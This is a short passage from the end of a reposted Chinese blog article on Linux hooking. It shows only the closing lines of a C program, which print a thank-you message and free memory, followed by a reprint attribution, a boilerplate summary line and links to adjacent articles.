printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);
free(mode);
return 0;
}?
轉(zhuǎn)載于:https://www.cnblogs.com/Dennis-mi/articles/5137776.html
總結(jié)
以上是生活随笔為你收集整理的Linux HOOK的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Django restframwork实
- 下一篇: 游戏数学中的数学思想